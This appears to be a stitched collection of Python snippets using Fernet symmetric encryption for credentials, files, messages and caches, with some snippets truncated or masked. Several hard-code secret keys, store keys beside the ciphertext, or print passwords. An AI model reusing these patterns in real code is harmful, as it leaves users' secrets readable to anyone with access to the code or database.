def encrypt_creds(dbname, dbuser, dbpass, dbport): """ Encrypt the supplied credential using the keyfile. This important function :param dbname, dbuser, dbpass, dbport: :return encrypted(dbname, dbuser, dbpass, dbport): """ if os.path.exists(keyfile): authkey = open(keyfile, "rb").read() else: print ("Keyfile '{}' does not exist".format(keyfile)) exit(1) from cryptography.fernet import Fernet f = Fernet(authkey) byte_dbname = str.encode(dbname) byte_dbuser = str.encode(dbuser) byte_dbpass = str.encode(dbpass) byte_dbport = str.encode(dbport) encrypted_dbname = (f.encrypt(byte_dbname)).decode() encrypted_dbuser = (f.encrypt(byte_dbuser)).decode() encrypted_dbpass = (f.encrypt(byte_dbpass)).decode() encrypted_dbport = (f.encrypt(byte_dbport)).decode() return(encrypted_dbname, encrypted_dbuser, encrypted_dbpass, encrypted_dbport)
def encrypt(self, save_content=False): if self.encryption_key is None: raise Exception('Cannot encrypt content, missing encryption key.') if self.config.get('content') is None: raise Exception('Cannot encrypt content, content is empty.') if self.is_encryptable == False: raise Exception('Cannot encrypt, improper configuration.') if self.config.get('is_encrypted') == True: return self.config.get('content') f = Fernet(self.encryption_key) if self.config.get('is_binary') == True: encr_content = f.encrypt(self.config.get('content')) elif self.config.get('is_binary') == False: encr_content = f.encrypt(self.config.get('content').encode('utf-8')).decode('utf-8') else: raise Exception('Could not tell if file is binary or text. Aborting.') if save_content == True: try: self.config['content'] = encr_content self.config['content_length'] = len(encr_content) self.config['is_encrypted'] = True except: raise return encr_content
def test_decrypt(self, backend): f1 = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend) f2 = Fernet(base64.urlsafe_b64encode(b"\x01" * 32), backend=backend) f = MultiFernet([f1, f2]) assert f.decrypt(f1.encrypt(b"abc")) == b"abc" assert f.decrypt(f2.encrypt(b"abc")) == b"abc" with pytest.raises(InvalidToken): f.decrypt(b"\x00" * 16)
def construct_message(plaintext, srcprivkey, destpubkey): """ Generate shared secret and then use fernet Keyword arguments: plaintext -- Plaintext string message to build message around destpubkey -- Destination EC public key srcprivkey -- Source EC private key """ message = {} # Construct cipher text, fernet adds a HMAC automatically pt_bytes = bytes(plaintext, 'utf-8') # Generate shared secret from public and private key key = generate_shared_secret(srcprivkey, destpubkey) # Initialization of fernet f = Fernet(key) # Encrypt the plaintext ct_bytes = f.encrypt(pt_bytes) # Decode to a string ciphertext = ct_bytes.decode('utf-8') # The message is a dict, the ciphertext part is filled here message["ciphertext"] = ciphertext # Generate signature sig_bytes = sign_ecdsa(pt_bytes, srcprivkey) # Turn the signature into a string signature = sig_bytes.decode('utf-8') # The signature part of the message is filled here message["signature"] = signature # Return constructed message return message
def encrypt(data, symmetric_key=None, public_key=None): """ Encrypts data with symmetric key or public key. """ if symmetric_key is not None: if public_key is not None: raise ValueError( "Either a symmetric or a public key is required, not both." ) fernet = Fernet(symmetric_key) return fernet.encrypt(data) elif public_key is not None: public_key_obj = load_pem_public_key( data=public_key, backend=default_backend() ) return public_key_obj.encrypt( data, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA1()), algorithm=hashes.SHA1(), label=None ) ) else: raise ValueError("Either a symmetric or a public key is required.")
def save_oracle_password(password): """ Saves oracle password. Uses cryptography.fernet to unencrypt password. """ key = get_key() # encrypt password f = Fernet(key) token = f.encrypt(password.encode('utf-8')) # write password try: f2 = open(password_dir+password_file, 'wb') except IOError as e: if e.strerror == 'No such file or directory': print("Could open password file for write") sys.exit() else: raise e f2.write(token) f2.close()
def editcams(id): camedit = SVSIpCamReg.query.get_or_404(id) form = Camedit() if form.validate_on_submit(): camedit.sitename = form.sitename.data fkey = Fernet.generate_key() f = Fernet(fkey) ecamurl = f.encrypt(bytes(form.camurl.data)) camedit.key = fkey camedit.camurl_hash = ecamurl camedit.sview = form.sitevis.data camedit.FDstore = form.FDStore.data db.session.add(camedit) flash("Your Camera has been updated") return redirect(url_for(".listallcams")) form.sitename.data = camedit.sitename dkey = camedit.key bdkey = bytes(dkey) f = Fernet(bdkey) bcamurl = bytes(camedit.camurl_hash) camurl = f.decrypt(bcamurl) form.camurl.data = camurl form.sitevis.data = camedit.sview form.FDStore.data = str(camedit.FDstore) return render_template("cam/editcam.html", form=form)
def main(argv=sys.argv): if len(argv) < 2: usage(argv) config_uri = argv[1] options = parse_vars(argv[2:]) setup_logging(config_uri) settings = get_appsettings(config_uri, options=options) engine = engine_from_config(settings, 'sqlalchemy.') DBSession.configure(bind=engine) Base.metadata.create_all(engine) # initial encryption passphrase set to '' salt = os.urandom(32) password = bytes(input("If you would like to set a password, please enter it now. Otherwise, just press enter. > ").encode()) # initial password is the empty string enc_key = gen_key_from_salt_and_password(salt, password) f = Fernet(enc_key) secret_exponent_bytes = os.urandom(32) secret_exponent = convert_se_bytes(secret_exponent_bytes) address = Key(secret_exponent=secret_exponent, netcode=NET_CODE['bitcoin']).address(use_uncompressed=USE_COMPRESSED) with transaction.manager: model = KeyStore(name=PRIMARY, encrypted=f.encrypt(secret_exponent_bytes), salt=salt, address=address) DBSession.add(model)
def _encrypt(*args, **kwargs): ''' encrypt a byte stream ''' routing_key = None if 'routing_key' in kwargs: routing_key = kwargs['routing_key'] # To get around the self as the first argument issue if len(args) == 1: plain_text = args[0] else: plain_text = args[1] f = Fernet(NetworkTool.key()) cyphertext = f.encrypt(plain_text) if len(args) == 1: fn(cyphertext) else: if routing_key is None: # args[0] is self fn(args[0], cyphertext) else: fn(args[0], cyphertext, routing_key=routing_key)
def editReaction(self, rdb): """ This will edit a reaction with the supplied information """ # Encrypt User Input if self.config["CRYPTO_ENABLED"]: crypto = Fernet(self.config["CRYPTO_KEY"]) try: self.data = crypto.encrypt(json.dumps(self.data)) except: return False self.encrypted = True reactdata = { "name": self.name, "rtype": self.rtype, "uid": self.uid, "trigger": self.trigger, "frequency": self.frequency, "lastrun": self.lastrun, "data": self.data, "encrypted": self.encrypted, } results = r.table("reactions").get(self.rid).update(reactdata).run(rdb) if results["replaced"] == 1: qdata = {} qdata["item"] = reactdata qdata["action"] = "edit" qdata["type"] = "reaction" qdata["item"]["rid"] = self.rid q1 = r.table("dc1queue").insert(qdata).run(rdb) q2 = r.table("dc2queue").insert(qdata).run(rdb) return "edit true" else: return "edit failed"
def encrypt(password, plaintext): if db: print(lineno(), 'salt =', salt, 'type(salt) =', type(salt), 'len(salt) =', len(salt)) salt_list = list(salt) if db: print(lineno(), 'salt_list =', salt_list, 'len(salt_list) =', len(salt_list)) """Key derivation function. The iteration count used should be adjusted to be as high as your server can tolerate. A good default is at least 100,000 iterations which is what Django recommends in 2014.""" kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend() ) # convert password to bytes bytestring_password = bytes(password, 'utf-8') # convert plaintext to bytes plaintext_bytes = bytes(plaintext, 'utf-8') key = base64.urlsafe_b64encode(kdf.derive(bytestring_password)) f = Fernet(key) token = f.encrypt(plaintext_bytes) if db: print(lineno(), 'token = ', token) if db: print(lineno(), 'f.decrypt(token)=', f.decrypt(token)) return token # ciphertext
def editMonitor(self, rdb): ''' This will edit a health check with the supplied information ''' if self.config['CRYPTO_ENABLED'] is True: crypto = Fernet(self.config['CRYPTO_KEY']) try: self.data = crypto.encrypt(json.dumps(self.data)) except: return False self.encrypted = True mondata = { 'name': self.name, 'ctype': self.ctype, 'uid': self.uid, 'url': self.url, 'failcount': 0, 'status': self.status, 'data': self.data, 'encrypted' : self.encrypted } results = r.table('monitors').get(self.cid).update(mondata).run(rdb) if results['replaced'] == 1: qdata = {} qdata['item'] = mondata qdata['action'] = 'edit' qdata['type'] = 'monitor' qdata['item']['cid'] = self.cid for dc in ["dc1queue", "dc2queue"]: q1 = r.table(dc).insert(qdata).run(rdb) return True else: return False
def encrypt_file(file, delete=False): """ Encrypts the file ``file``. The encrypted file is saved to the same location with the ``.enc`` extension. If ``delete=True``, the unencrypted file is deleted after encryption. Returns the secret key used for the encryption. Decrypt the file with :func:`doctr.travis.decrypt_file`. """ key = Fernet.generate_key() fer = Fernet(key) with open(file, 'rb') as f: encrypted_file = fer.encrypt(f.read()) with open(file + '.enc', 'wb') as f: f.write(encrypted_file) if delete: os.remove(file) return key
def encrypt(self): pickledQueue = pickle.dumps(self.history) padLen = config.get("historyfile", "padlength") pickledQueue += os.urandom(int(padLen) - len(pickledQueue)) fern = Fernet(self.token) cipher = fern.encrypt(pickledQueue) return cipher
class FernetEngine(EncryptionDecryptionBaseEngine): """Provide Fernet encryption and decryption methods.""" def __init__(self, key): super(FernetEngine, self).__init__(key) self._initialize_engine(self._engine_key) def _update_key(self, new_key): parent = EncryptionDecryptionBaseEngine(new_key) self._initialize_engine(parent._engine_key) def _initialize_engine(self, parent_class_key): self.secret_key = base64.urlsafe_b64encode(parent_class_key) self.fernet = Fernet(self.secret_key) def encrypt(self, value): if not isinstance(value, six.string_types): value = repr(value) if isinstance(value, six.text_type): value = str(value) value = six.b(value) encrypted = self.fernet.encrypt(value) return encrypted def decrypt(self, value): if isinstance(value, six.text_type): value = str(value) decrypted = self.fernet.decrypt(value) if not isinstance(decrypted, six.string_types): decrypted = decrypted.decode('utf-8') return decrypted
def encryptedJson(key, msg): #encryption_suite = AES.new(key, AES.MODE_CFB, 'This is an IV456') #cipher_text = encryption_suite.encrypt("A really secret message. Not for prying eyes.") cipher_suite = Fernet(key) cipher_text = cipher_suite.encrypt(msg) return cipher_text
def encrypt(self): """Will encrypt the file""" if self.filename is None: raise FileCryptError(u'Must set filename with new_file ' 'method call before you can encrypt', expected=True) if not os.path.exists(self.filename): raise FileCryptError(u'No file to encrypt.') with open(self.filename, u'r') as f: plain_data = f.read() log.debug(u'Got plain text') log.debug(u'Lets start this encryption process.') if self.password is None: self.password = self._get_password() fernet = Fernet(self.password) enc_data = fernet.encrypt(plain_data) with open(self.enc_filename, u'w') as f: f.write(enc_data) log.debug(u'Wrote encrypted ' 'data to {}'.format(self.enc_filename)) os.remove(self.filename) log.debug(u'Removed original file') self._del_internal_password()
class FernetEncryption(object): """ Encrypt data using `Python Fernet <https://cryptography.io/en/latest/fernet/>`_. Usage: WFRS_SECURITY = { 'encryptor': 'wellsfargo.security.fernet.FernetEncryption', 'encryptor_kwargs': { 'key': b'U3Nyi57e55H2weKVmEPzrGdv18b0bGt3e542rg1J1N8=', }, } The given key should be a URL-safe base64-encoded 32-byte encryption key and should obviously not be hard-coded in the application. """ def __init__(self, key): self.fernet = Fernet(key=key) def encrypt(self, value): """Accept a string and return binary data""" value = force_bytes(value) return self.fernet.encrypt(value) def decrypt(self, blob): """Accept binary data and return a string""" blob = force_bytes(blob) try: value = self.fernet.decrypt(blob) except InvalidToken: logger.warning('Unable to decrypt account number blob.') return None return force_text(value)
class CryptKeeper(object): sigil_base = 'CK_%s::' @classmethod def generate_key(cls, *args, **kwargs): return Fernet.generate_key() def __init__(self, *args, **kwargs): '''base CryptKeeper class. Supply key=string to provide key, or allow CryptKeeper to generate a new key when instantiated without arguments.''' self.key = kwargs.get('key', None) self.sigil = kwargs.get('sigil', self.sigil_base % 'FERNET') # if proactive==True, create new key and store it. # Appropriate Exception will be raised if store() not possible. self.proactive = kwargs.get('proactive', True) if self._key_exists(): self.key = self.load() self.key = self._clean_key(self.key) self.crypter = Fernet(self.key) elif self.proactive: self.key = self._gen_key() self.crypter = Fernet(self.key) self.store() else: raise Exception('no key supplied or key location does not exist') def _key_exists(self): 'override for key storage based classes' if self.key: return True def _clean_key(self, key): 'ensures a key free of surrounding whitespace and newlines.' return key.strip() def _gen_key(self): 'generates a new Fernet-based encryption key' return Fernet.generate_key() def encrypt(self, inp): 'takes plaintext string and returns encrypted string' return self.crypter.encrypt(inp) def decrypt(self, inp): 'takes encrypted string and returns plaintext string' return self.crypter.decrypt(inp) def store(self): 'override for key storage based classes' pass def load(self): 'override for key storage based classes' return self.key
def encrypt(message, secret): """ Message may be a string or bytes. Secret key must be 32 url-safe base64-encoded bytes. """ try: f = Fernet(secret) except ValueError: logger.exception( "Error creating Fernet unable to encrypt message - is the secret 32 bytes") return None try: token = f.encrypt(message) except TypeError: token = f.encrypt(message.encode("utf-8")) return token
def encrypt(data, password): # derive salt = urandom(16) kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=backend ) key = base64.urlsafe_b64encode(kdf.derive(password)) f = Fernet(key) epayload = f.encrypt(data) hello_token = f.encrypt(b'hello') return {'data': epayload, 'hello': hello_token, 'salt': salt}
def test_timestamp_ignored_no_ttl(self, monkeypatch, backend): f = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend) pt = b"encrypt me" token = f.encrypt(pt) ts = "1985-10-26T01:20:01-07:00" current_time = calendar.timegm(iso8601.parse_date(ts).utctimetuple()) monkeypatch.setattr(time, "time", lambda: current_time) assert f.decrypt(token, ttl=None) == pt
def test_cryptography(): key = b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg=' f = Fernet(key) print(key) message = "A really secret message of any length" token = f.encrypt(message.encode()) print() print(f.decrypt(token).decode())
def test_crypto_round_trip(self): clear_text = uuid4().hex.encode('utf8') key = genkey() fernet = Fernet(key) encrypted = fernet.encrypt(clear_text) decrypted = fernet.decrypt(encrypted) self.assertEquals(clear_text, decrypted)
def encrypt(pwd): if len(pwd) > 100: # encrypting > 100 chars will lead to truncation frappe.throw(_('Password cannot be more than 100 characters long')) cipher_suite = Fernet(encode(get_encryption_key())) cipher_text = cstr(cipher_suite.encrypt(encode(pwd))) return cipher_text
def encrypt(message): """encrypts the message""" try: cipher_suite = Fernet(SECRET) cipher_text = cipher_suite.encrypt(bytes(message)) except Exception as ex: logger.debug("encrypt: %s", str(ex)) return cipher_text
def test_extract_timestamp(self, monkeypatch, backend): f = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend) current_time = 1526138327 monkeypatch.setattr(time, "time", lambda: current_time) token = f.encrypt(b'encrypt me') assert f.extract_timestamp(token) == current_time with pytest.raises(InvalidToken): f.extract_timestamp(b"nonsensetoken")
def check_in(document_id, flag): if request.method == "POST": file = request.files["file"] if file: blob = file.read() uid = request.environ["dn"] SQL = "" parameters = () if document_id != None: if not ( is_owner(uid, document_id) or is_effective_owner(uid, document_id) or can_write(uid, document_id) ): return "{0} can not check in {1}".format(uid, document_id) else: SQL = "UPDATE document SET file = ?, key = ? WHERE id = ?;" key = Fernet.generate_key() f = Fernet(key) blob = f.encrypt(blob) parameters = (sqlite3.Binary(blob), key, document_id) else: if flag == "confidentiality": confidentiality = True integrity = False elif flag == "integrity": integrity = True confidentiality = False else: integrity = False confidentiality = False document_id = hashlib.sha1(secure_filename(request.environ["dn"] + file.filename)).hexdigest() filename = secure_filename(file.filename) key = Fernet.generate_key() f = Fernet(key) blob = f.encrypt(blob) SQL = "INSERT INTO document (id, integrity_flag, confidentiality_flag, owner_uid, file_name, file, key) VALUES (?, ?, ?, ?, ?, ?, ?);" parameters = (document_id, integrity, confidentiality, uid, filename, sqlite3.Binary(blob), key) db = get_db() cur = db.cursor() cur.execute(SQL, parameters) db.commit() return "{0}".format(document_id) else: return "Must submit a file"
def change_password(self, old_password, new_password): """ Re-encrypt the token given the current password and a new password. """ token = self.decrypt(old_password) fernet = Fernet(crypto.derive_fernet_key(new_password, self.salt)) self.encrypted = fernet.encrypt(encoding.force_bytes(token)) self.save() return self.encrypted
def encrypt(value): if key is None: return value if CRYPTO_FERNET == True: f = Fernet(key) token = f.encrypt(bytes(value)) else: token = fernet.generate(key, value) return token
def encrypt(raw): key = load_key() encoded_message = raw.encode() f = Fernet(key) encrypted_message = f.encrypt(encoded_message) return str(encrypted_message.decode("utf-8"))
def scrape(tag): if (tag == "-f"): try: with open(account) as f: print("File found. Reading...") data = json.load(f) data_to_write = data account_rec = data user = account_rec["user"] login = account_rec["login"] password = account_rec["pass"] password = password[2:-1].encode() cipher_suite = Fernet(account_rec["key"].encode()) hasAuth = True except FileNotFoundError: print("File not found. Continuing...") if not hasAuth: key = Fernet.generate_key() cipher_suite = Fernet(key) user = input("What's your twitter username (not display)? ") login = input("What's your login? (email/username) ") password = getpass("Type in your password. ") password = cipher_suite.encrypt(password.encode('utf-8')) account_rec = { "user": user, "login": login, "pass": password.decode(), "key": key.decode(), } if input( "Do you want me to store your information in a text file? When you run this program again, you can append '-f' to automatically search your account. (y/n) " ) == "y": try: with open(account) as f: print("File found. Writing...") data = json.load(f) data_to_write = data data_to_write = account_rec except FileNotFoundError: print("File not found. Creating...") with open(account, 'w') as f: data_to_write = account_rec with open(account, 'w') as outfile: json.dump(data_to_write, outfile) print("Account info saved! Initiating scrape mode.") max_id = input( "Type in the maximum number of tweets we'll collect. Otherwise, type n (default: 100). " ) if max_id == "n": max_id = DEFAULT_ID delay = 1 # time to wait on each page load before reading the page driver = webdriver.Firefox(executable_path="geckodriver" ) # options are Chrome() Firefox() Safari() driver.implicitly_wait(10) twitter_ids_filename = 'all_ids.json' tweet_selector = 'article' id_selector = "a[href*=status]" user = user.lower() ids = [] errors = [] MAX_IDS = int(max_id) likes_url = f"https://twitter.com/{user}/likes" url = "https://twitter.com/login" driver.get(url) user_selector = 'div.css-1dbjc4n:nth-child(6) > label:nth-child(1) > div:nth-child(1) > div:nth-child(2) > div:nth-child(1) > input:nth-child(1)' pass_selector = 'div.css-1dbjc4n:nth-child(7) > label:nth-child(1) > div:nth-child(1) > div:nth-child(2) > div:nth-child(1) > input:nth-child(1)' error_selector = 'div.css-901oao:nth-child(3) > span:nth-child(1)' scrollElementIntoMiddle = "let viewPortHeight = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);" + "var elementTop = arguments[0].getBoundingClientRect().top;" + "window.scrollBy(0, elementTop-(viewPortHeight/2));" sleep(delay) try: print("Logging in..") found_user = driver.find_element_by_css_selector(user_selector) found_pass = driver.find_element_by_css_selector(pass_selector) found_user.send_keys(login) sleep(delay) print(password) password = cipher_suite.decrypt(password) password = str(password.decode('utf-8')) found_pass.send_keys(password, Keys.ENTER) sleep(delay) try: found_error = driver.find_element_by_css_selector(error_selector) print("Found error.") found_user = driver.find_element_by_css_selector(user_selector) # print(found_user) found_pass = driver.find_element_by_css_selector(pass_selector) # print(found_pass) found_user.send_keys(user) found_pass.send_keys(password, Keys.ENTER) except NoSuchElementReference: print("Successful login!") print("Checking profile...") sleep(delay) driver.get(likes_url) sleep(delay) found_tweets = driver.find_elements_by_css_selector(tweet_selector) increment = 5 timeout = 0 isEnd = 0 MAX_END_TIMEOUT = 10 while isEnd <= MAX_END_TIMEOUT: if len(ids) >= MAX_IDS: print("Reached max IDs.") break print("Looks like there's more. Continuing. . .") try: while isEnd <= MAX_END_TIMEOUT and len(ids) < MAX_IDS and len( found_tweets) >= increment: print('Loading more tweets, scrolling. . . ') sleep(delay) found_tweets = driver.find_elements_by_css_selector( tweet_selector) numUnique = 0 for tweet in found_tweets: try: metadata = tweet.find_element_by_css_selector( id_selector).get_attribute('href').replace( "https://twitter.com", "") id = tweet.find_element_by_css_selector( id_selector).get_attribute('href').split( '/')[-1] if id not in ids: print(f"ID: {id}, x-data: {metadata}") ids.append(id) numUnique += 1 isEnd = 0 if (len(ids) >= MAX_IDS): break except StaleElementReferenceException as e: print('Lost element reference.', tweet) print('{} total tweets.'.format(len(ids))) driver.execute_script(scrollElementIntoMiddle, found_tweets[-1]) timeout = 0 if numUnique == 0: isEnd += 1 print("isEnd: " + str(isEnd)) except NoSuchElementException: print('None found.') if not len(errors) == 0 and ids[-1] == errors[-1]["id"]: timeout += 1 print("NonElement Timeout: " + str(timeout)) if timeout >= 10: break errors.append({"id": ids[-1], "num": len(ids)}) driver.execute_script(scrollElementIntoMiddle, found_tweets[-1]) except KeyboardInterrupt: print('CTRL+C.') try: with open(twitter_ids_filename) as f: data = json.load(f) data_to_write = data for i in ids: if i not in data: data_to_write.append(i) print('Number of IDs: ', len(ids)) print('Total Count: ', len(data_to_write)) except FileNotFoundError: with open(twitter_ids_filename, 'w') as f: data = json.load(f) data_to_write = data for i in ids: if i not in data: data_to_write.append(i) print('Number of IDs: ', len(ids)) print('Total Count: ', len(data_to_write)) with open(twitter_ids_filename, 'w') as outfile: json.dump(data_to_write, outfile) print('All done.') driver.close()
def encrypt(arg): secret_key = "" cipher_suite = Fernet(secret_key) return str(cipher_suite.encrypt(bytes(arg, "utf-8")))
def adminRegister(): try: if not validators.length( request.get_json()['username'].strip(), min=2) or not validators.length( request.get_json()['password'].strip(), min=2) or not validators.length( request.get_json()['fullName'].strip(), min=2) or not validators.length( request.get_json()['flatNo'].strip(), min=2) or not validators.email(request.get_json( )['emailId'].strip()) or not validators.length( request.get_json()['mobile'].strip(), min=2): task = {'status': 'All Fields are manditory'} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 400) response.headers.add('Access-Control-Allow-Origin', '*') return response if not validators.length( request.get_json()['apartmentId'].strip(), min=2) or not validators.length( request.get_json()['apartmentName'].strip(), min=2) or not validators.length( request.get_json()['address'].strip(), min=2) or not validators.length( request.get_json()['city'].strip(), min=2) or not validators.length( request.get_json()['state'].strip(), min=2): task = {'status': 'All Fields are manditory'} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 400) response.headers.add('Access-Control-Allow-Origin', '*') return response today = datetime.now() dic = Dbconnection.DBConnection() key = Fernet.generate_key() f = Fernet(key) myquery = {'apartmentId': request.get_json()['apartmentId'].strip()} mydoc = dic['admin'].find(myquery) print(mydoc.count()) if mydoc.count() != 0: task = {'status': 'Already apartmentId exist'} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 404) response.headers.add('Access-Control-Allow-Origin', '*') return response else: myAdminJson = [{ "apartmentId": request.get_json()['apartmentId'].strip(), "apartmentName": request.get_json()['apartmentName'].strip(), "address": request.get_json()['address'].strip(), "city": request.get_json()['city'].strip(), "state": request.get_json()['state'].strip(), "createDate": str(today.strftime('%Y-%m-%d %H:%M:%S')) }] x = dic['admin'].insert_many(myAdminJson) time.sleep(5) myUserJson = [{ "apartmentId": request.get_json()['apartmentId'].strip(), "fullName": request.get_json()['fullName'].strip(), "username": request.get_json()['username'].strip(), "password": f.encrypt(bytes(request.get_json()['password'].strip())), "flatNo": request.get_json()['flatNo'], "emailId": request.get_json()['emailId'].strip(), "mobile": request.get_json()['mobile'].strip(), "type": "President", "key": key, "createDate": str(today.strftime('%Y-%m-%d %H:%M:%S')) }] x = dic['user'].insert_many(myUserJson) task = {'status': 'Success', "message": "Success"} res = json.dumps(task) res1 = json.loads(res) response = make_response(res1, 200) response.headers.add('Access-Control-Allow-Origin', '*') return response except BulkWriteError as e: task = {'status': 'Someting went wrong in post data %s' % e} abort(404) return jsonify(task)
def encrypt(self, data): f = Fernet(self.get_key(self.key_path)) encrypted_data = f.encrypt(data) return encrypted_data
def records_menu(self): run = True self.getHelpRecords() while (run): value = input("Enter command : ").split() if (value[0] == "back"): run = False self.database = "" self.state = MAIN_MENU elif (value[0] == "add"): if (len(value) > 3 and not self.isProtected(value[1])): add = True if (value[1] in self.data.json[self.database]): print( "there already exist a record with the same unique_name!" ) add = self.confirm() if (add): if (value[3] == "-r" or value[3] == "random"): value[3] = rand_text.randomStringDigits(12) key = Fernet.generate_key() self.data.json[self.database][value[1]] = key.decode() jdata = json.loads("{}") jdata["name"] = value[1] if (value[2] == "-n"): jdata["username"] = value[1] else: jdata["username"] = value[2] jdata["pass"] = value[3] jdata = json.dumps(jdata) fkey = Fernet(key) jdata = fkey.encrypt(jdata.encode()) self.kdata.json[value[1]] = jdata.decode() clipboard.copy(value[3]) self.kdata.save() self.data.save() print("copied the password to clipboard!") else: print("invalid syntax : valid syntax example") print( "add example_unqiue_name example_username/-n example_password/random/-r" ) elif (value[0] == "load"): if (len(value) > 1 and not self.isProtected(value[1])): if (value[1] in self.data.json[self.database]): key = self.data.json[self.database][value[1]].encode() data = self.kdata.json[value[1]] fkey = Fernet(key) data = fkey.decrypt(data.encode()) data = json.loads(data.decode()) # print(data["pass"]) # print(clipboard.paste()) if (len(value) > 2 and value[2] == "-n"): clipboard.copy(data["username"]) print("copied username to clipboard!") value = input("copy password y/n : ") if (value.lower() == "y" or value.lower() == "yes"): clipboard.copy(data["pass"]) print("copied the password to clipboard!") else: clipboard.copy(data["pass"]) print("username : "******"username"]) print("copied the password to clipboard!") else: print(value[1], " record doesnt exist!") else: print("invalid syntax : valid syntax example") print( "load unqiue_name or load unique_name -n (copy username then password)" ) elif (value[0] == "clear"): import os os.system('cls' if os.name == 'nt' else 'clear') elif (value[0] == "help"): self.getHelpRecords() elif (value[0] == "remove" or value[0] == "delete"): self.delete(value) elif (value[0] == "records"): i = 0 for record in self.data.json[self.database]: if (not self.isProtected(record, False)): i += 1 print("(", i, ") : ", record)
from socket import * from cryptography.fernet import Fernet import sys Alicekey = "1zkOwMr7RRomU_Pka7OCFccOghuToC_zfKgfOKGqKgg=" BobKey = "LJzbk-Uq63uhhcX5m76PtsvFTpqo_O5boM5112cEmG8=" SessionKey = Fernet.generate_key() cipher_suite = Fernet(Alicekey) serverPort = 14000 serverSocket = socket(AF_INET,SOCK_STREAM) serverSocket.bind(('',serverPort)) serverSocket.listen(1) print 'Who needs a key?' while 1: connectionSocket, addr = serverSocket.accept() sentence = connectionSocket.recv(1024) if(sentence == "Alice Talking to Bob"): connectionSocket.send("Nonce needed") Nonce = connectionSocket.recv(1024) reply = Nonce + "," + SessionKey + "," + BobKey Enc_reply = cipher_suite.encrypt(reply) connectionSocket.send(Enc_reply) connectionSocket.close()
def main(): """Face detection camera inference example.""" parser = argparse.ArgumentParser() parser.add_argument( '--num_frames', '-n', type=int, dest='num_frames', default=None, help='Sets the number of frames to run for, otherwise runs forever.') # args = parser.parse_args() with open("./key.key", "rb") as fp: key = fp.read() crypt = Fernet(key) client = connect_to_socket() validation_msg = crypt.encrypt(b"VISION") client.sendall(validation_msg) # Forced sensor mode, 1640x1232, full FoV. See: # https://picamera.readthedocs.io/en/release-1.13/fov.html#sensor-modes # This is the resolution inference run on. total_cam = 0 resolution = (800, 500) with PiCamera(resolution=resolution, sensor_mode=4) as camera: camera.start_preview() print('Camera starting......') sleep(2) stream = BytesIO() inference = ImageInference(face_detection.model()) IM_FOLDER = '/home/pi/iot/images' EMAIL = "*****@*****.**" i = 0 run = get_order(client) while run: stream = BytesIO() detected = False camera.capture(stream, format='jpeg') print(i) i += 1 stream.seek(0) image = Image.open(stream) faces = face_detection.get_faces(inference.run(image)) if len(faces) > 0: print("Found face") draw = ImageDraw.Draw(image) for face in faces: x, y, width, height = face.bounding_box area_ratio = (width * height) / (resolution[0] * resolution[1]) if area_ratio < 0.06: stream.close() continue detected = True draw.rectangle((x, y, x + width, y + height), outline='red') print('Face : {}: ration : {:.2f}'.format( face, area_ratio)) if detected: now = str(datetime.datetime.now()) imname = IM_FOLDER + '/face_%s.jpg' % (now) image.save(imname, 'JPEG') stream.seek(0) with stream: data = stream.read() # send through tcp send_data(client, data, type="image") subprocess.call( "mpack -s 'visitor at your door' '{}' {} ".format( imname, EMAIL), shell=True) run = get_order(client) if not run: #client.close() continue total_cam += 1 print('Face %d captured' % (total_cam)) stream.close() sleep(0.1) inference.close() camera.stop_preview()
broker="broker.mqttdashboard.com" def on_log(client, userdata, level, buf): print("log: ", buf) client= paho.Client("client-pub") client.on_log = on_log #cipher_key = Fernet.generate_key() cipher_key = b'0x3kqFR-uHFZezuHSRImCHZgBz9pSrMK9Lb9IDwk4Zg=' cipher = Fernet(cipher_key) message = b'Hello' encrypted_message = cipher.encrypt(message) out_message = encrypted_message.decode()# turn it into a string to send print("connecting to broker ", broker) client.connect(broker) client.loop_start() print("publishing encrypted message ", encrypted_message) client.publish("trial/encrypt", out_message, qos=1, retain=True) time.sleep(4) client.disconnect() client.loop_stop()
def remove_socket(client_socket): if client_socket in sockets_list: sockets_list.remove(client_socket) client_socket.close() if __name__ == "__main__": try: print("Running server script..") try: PORT = int( input("Specify port number for the server (default = 9999): ")) except ValueError: print("Starting server on default port 9999!") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((HOST, PORT)) server_socket.listen(MAX_CLIENTS) sockets_list.append(server_socket) print(f"Server started on {HOST} : {PORT}") tmp_admin_password = getpass("Admin Password: "******"" print("Password set and encrypted successfully!") print("Waiting for incoming connections..") threading.Thread(target=run_server()) except KeyboardInterrupt: server_socket.close() print("\nServer stopped!")
class cache(): def __init__(self, key, pool): self.key = key self.pool = pool self.fernet = Fernet(self.key) def get_hash(self, to_hash: bytes) -> bytes: to_hash = sha256(to_hash) for _ in range(9): to_hash = sha256(to_hash.digest() + self.key) return to_hash.digest() async def get(self, text, lang, message_id): message_id = str(message_id) search_for = self.get_hash(str([text, lang]).encode()) async with self.pool.acquire() as conn: row = await conn.fetchrow( "SELECT * FROM cache_lookup WHERE message = $1", search_for) if row is not None and dict(row)["message_id"] is not None: og_message_id = dict(row)["message_id"] filename = f"cache/{og_message_id}.mp3.enc" if not exists(filename): await self.remove(og_message_id) else: with open(filename, "rb") as mp3: decrypted_mp3 = self.fernet.decrypt(mp3.read()) return decrypted_mp3 async def set(self, text, lang, message_id, file_bytes): message_id = str(message_id) with open(f"cache/{message_id}.mp3.enc", "wb") as mp3: mp3.write(self.fernet.encrypt(file_bytes)) search_for = self.get_hash(str([text, lang]).encode()) async with self.pool.acquire() as conn: row = await conn.fetchrow( "SELECT * FROM cache_lookup WHERE message = $1", search_for) if row is None or dict(row)["message_id"] is None: await conn.execute( """ INSERT INTO cache_lookup(message, message_id) VALUES ($1, $2); """, search_for, message_id, ) else: await conn.execute( """ UPDATE cache_lookup SET message_id = $1 WHERE message = $2; """, 